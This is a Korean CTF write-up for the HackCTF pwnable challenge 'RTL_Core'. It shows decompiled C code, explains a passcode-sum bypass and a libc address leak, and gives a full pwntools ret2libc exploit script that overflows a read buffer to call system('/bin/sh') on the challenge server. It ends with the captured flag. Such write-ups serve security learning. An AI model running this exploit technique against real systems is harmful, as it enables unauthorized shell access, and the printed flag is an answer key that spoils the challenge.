Wargame & CTF/HackCTF
[HackCTF / pwnable] RTL_Core
cg10036
2019. 10. 8. 15:47
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+Ch] [ebp-1Ch] setvbuf(_bss_start, 0, 2, 0); puts(&::s); printf("Passcode: "); gets(&s); if ( check_passcode((int)&s) == hashcode ) { puts(&byte_8048840); core(); } else { puts(&byte_8048881); } return 0; } | cs |
1 2 3 4 5 6 7 8 9 10 | int __cdecl check_passcode(int a1) { int v2; // [esp+8h] [ebp-8h] signed int i; // [esp+Ch] [ebp-4h] v2 = 0; for ( i = 0; i <= 4; ++i ) v2 += *(_DWORD *)(4 * i + a1); return v2; } | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | ssize_t core() { int buf; // [esp+Ah] [ebp-3Eh] int v2; // [esp+Eh] [ebp-3Ah] __int16 v3; // [esp+12h] [ebp-36h] int v4; // [esp+38h] [ebp-10h] void *v5; // [esp+3Ch] [ebp-Ch] buf = 0; v2 = 0; v4 = 0; memset( (void *)((unsigned int)&v3 & 0xFFFFFFFC), 0, 4 * (((unsigned int)((char *)&v2 - ((unsigned int)&v3 & 0xFFFFFFFC) + 46) & 0xFFFFFFFC) >> 2)); v5 = dlsym((void *)0xFFFFFFFF, "printf"); printf(&format, v5); return read(0, &buf, 0x64u); } | cs |
main에서 s를 입력받고 check_passcode에서 s를 더한다.
만약에 s에 AAAABBBBCCCCDDDDEEEE를 입력했다면
0x41414141+0x42424242+0x43434343+0x44444444+0x45454545=0x15050504f와 같이 더해서 더한값을 반환한다.
그 반환한값이 0xc0d9b0a7과 같으면 통과가 되고 core함수를 호출하게 된다.
core함수에서 printf의 실제 주소를 준다. 실제 printf에서 libc printf주소를 빼면 libc base를 구할수 있다.
libc base를 이용해서 실제 system함수의 주소를 구하고 read함수로 bss에 "/bin/sh\x00"를 넣고 bss를 인자로 해서 system을 실행시키면 쉘을 딸수있다.
ex.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | from pwn import * e = ELF("./rtlcore") #p = process("./rtlcore") p = remote("ctf.j0n9hyun.xyz", 3015) libc = ELF("./libc.so.6") pr = 0x08048683 pppr = 0x08048789 p.recvuntil("Passcode: ") payload = "" payload += p32(0xc0d9b0a7) payload += p32(0)*4 p.sendline(payload) p.recvuntil("0x") printf_addr = int("0x" + p.recv(8), 0) libc_base = printf_addr - libc.symbols["printf"] system_addr = libc.symbols["system"] + libc_base payload = "" payload += "A"*(0x3e+0x4) payload += p32(e.plt["read"]) payload += p32(pppr) payload += p32(0x0) payload += p32(e.bss()) payload += p32(len("/bin/sh\x00")) payload += p32(system_addr) payload += p32(pr) payload += p32(e.bss()) p.send(payload) p.send("/bin/sh\x00") p.interactive() | cs |
RTL_Core : HackCTF{5ucc355ful_r7lc0r3_f1l3_4cc355}